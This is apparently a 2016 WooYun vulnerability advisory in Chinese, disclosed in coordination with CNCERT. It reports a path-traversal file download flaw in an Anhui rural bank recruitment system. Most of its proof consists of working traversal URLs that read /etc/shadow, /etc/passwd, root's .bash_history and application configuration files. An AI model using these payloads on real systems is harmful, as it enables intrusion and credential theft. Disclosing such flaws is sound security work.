当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0213603

漏洞标题:安徽农金某系统存在任意文件下载漏洞

相关厂商:安徽农金

漏洞作者: 路人甲

提交时间:2016-05-29 16:44

修复时间:2016-07-15 17:40

公开时间:2016-07-15 17:40

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-29: 细节已通知厂商并且等待厂商处理中
2016-05-31: 厂商已经确认,细节仅向厂商公开
2016-06-10: 细节向核心白帽子及相关领域专家公开
2016-06-20: 细节向普通白帽子公开
2016-06-30: 细节向实习白帽子公开
2016-07-15: 细节向公众公开

简要描述:

任意文件下载

详细说明:

安徽农金即安徽省农村合作金融机构,包括农村商业银行,农村合作银行和农村信用合作联社
其实也就是这些

QQ截图20160527174014.png


**.**.**.**:9080/recruit/

QQ截图20160527165951.png


**.**.**.**:9080/recruit/biz09/T090101.shtml?fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd&action=downLoad


QQ截图20160527170155.png

漏洞证明:

**.**.**.**:9080/recruit/biz09/T090101.shtml?fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhosts&action=downLoad

QQ截图20160527170216.png


**.**.**.**:9080/recruit/biz09/T090101.shtml?fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow&action=downLoad

QQ截图20160527170253.png


**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Froot%2F.bash_history

QQ截图20160527170450.png


通过对.bash_history的分析,发现内容很丰富

**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/recs_war.ear/recs.war/WEB-INF/web.xml
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/recs_war.ear/recs.war/WEB-INF/report/reportConfig.xml
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/recs_war.ear/recs.war/WEB-INF/struts-config.xml
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/recs_war.ear/recs.war/WEB-INF/struts-cfg/struts-system.xml
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/recs_war.ear/recs.war/WEB-INF/struts-cfg/struts-biz09.xml
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/recs_war.ear/recs.war/WEB-INF/struts-cfg/struts-index.xml
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/recs_war.ear/recs.war/WEB-INF/struts-cfg/struts-recruit.xml
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/recs_war.ear/recs.war/system/logAcc.shtml
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/recs_war.ear/recs.war/WEB-INF/classes/sql-map-config.xml
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/recs_war.ear/recs.war/WEB-INF/classes/service.properties
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/recs_war.ear/recs.war/WEB-INF/classes/spring/applicationContext.xml
**.**.**.**:9080/recruit/biz09/T090101.shtml?action=downLoad&fileName=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F../opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/zpxtappCell01/zhaopin_war.ear/zhaopin.war/WEB-INF/classes/conf.properties


系统内一共有2个站
一个是zhaopin.war;另一个是recs.war
以及其它一些泄漏的路径待探索

QQ截图20160527213911.png


通过对泄漏的一些web路径我们还可以尝试越权操作

QQ截图20160527213952.png


QQ截图20160527214218.png


QQ截图20160527214242.png


QQ截图20160527214309.png

修复方案:

过滤../

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-05-31 17:37

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向银行业信息化主管部门通报,并抄报安徽分中心协助处置,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价